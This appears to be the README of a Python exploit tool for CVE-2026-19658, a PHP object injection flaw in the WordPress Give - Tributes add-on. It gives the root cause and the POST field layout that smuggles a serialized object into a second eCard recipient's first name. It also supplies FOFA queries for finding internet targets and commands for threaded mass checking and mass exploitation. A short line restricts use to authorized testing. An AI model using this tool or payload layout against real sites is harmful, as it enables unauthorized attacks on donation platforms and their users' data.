
Python 3 checker and exploit helper for CVE-2026-19658, a WordPress Give Tributes PHP object injection flaw, with FOFA target discovery and legacy donation form exploitation.
Python 3 proof-of-concept scanner and donation-chain exploit helper for CVE-2026-19658 in the WordPress add-on Give - Tributes (Liquid Web / GiveWP).
| Platform | WordPress plugin (requires GiveWP core) |
| Component | Give - Tributes |
| Affected | ≤ 2.3.1 |
| Fixed in | 2.3.1.1+ (sanitized multi-recipient eCard fields) |
| CVSS | 9.8 Critical |
| Auth | Unauthenticated (legacy donation form) |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Assigner | Wordfence |
When Allow Multiple Recipients is enabled for eCards and eCard custom message is disabled (default), vulnerable versions store raw $_POST eCard recipient data in donation meta. GiveWP field validation uses a give_clean() copy of $_POST (serialized strings are blanked there), but insert_tribute_data() reads unsanitized $_POST, so a second recipient’s first_name / last_name can contain a PHP serialized object.
Impact: No known POP chain inside Give Tributes alone. Meta is deserialized when read (e.g. admin eCard preview/resend). RCE or destructive impact requires a gadget chain from another installed plugin or theme.
[give_form] / v2), not v3-only Visual Form Buildermanual on dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Examples:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Host list (one domain per line):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA CSV export:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
Use --vuln-list exploited.txt on exploit runs so check hits in hits.txt are not overwritten.
status valuesRemote scan cannot reliably see “Allow Multiple Recipients”; candidates may still fail at exploit time.
first_name field.manual gateway is often disabled in production — try gateways visible on the form (stripe, paypal, test, …).give validation rejected donation: tribute/notify options, amount, or gateway mismatch.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Local scan lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits.txt, …) are in .gitignore and should not be committed.
For authorized security testing and education only. You are responsible for compliance with applicable laws and program rules.
| Option | Description |
|---|
-u, --url | Single base URL |
--list | URL list, host file, or candidates.jsonl |
--mode | check or exploit |
--form-url | Donation page path or full URL |
--form-id | Give form post ID |
--paths | Extra paths to crawl for forms |
--payload | Serialized object for 2nd recipient first_name |
--gateway | Give payment-mode (default manual) |
--email | Donor give_email |
--flow | One line per target on mass runs (default with --list) |
--no-flow | Progress summary only |
--quiet, -q | Minimal console output |
--threads, -j | Mass concurrency (default 12) |
--output | JSONL log (default cve_2026_19658_results.jsonl) |
--vuln-list | Text hits / exploited lines (default hits.txt) |
--candidates-list | Check metadata JSONL (default candidates.jsonl) |
| File | Mode | Content |
|---|
cve_2026_19658_results.jsonl | both | Full JSON per target |
hits.txt | check | URLs with exploitable_candidate |
candidates.jsonl | check | best_form, version hints |
exploited.txt | exploit | url|payment=… when donation confirmed |
| Status | Meaning |
|---|
candidate | Vulnerable plugin + Give + legacy form with tributes UI |
vulnerable_no_form | Plugin/version OK, no suitable form found on crawled paths |
patched | Tributes > 2.3.1 or ≥ 2.3.1.1 (when version readable) |
give_only | Give without detectable Tributes |
no_plugin | Tributes not detected |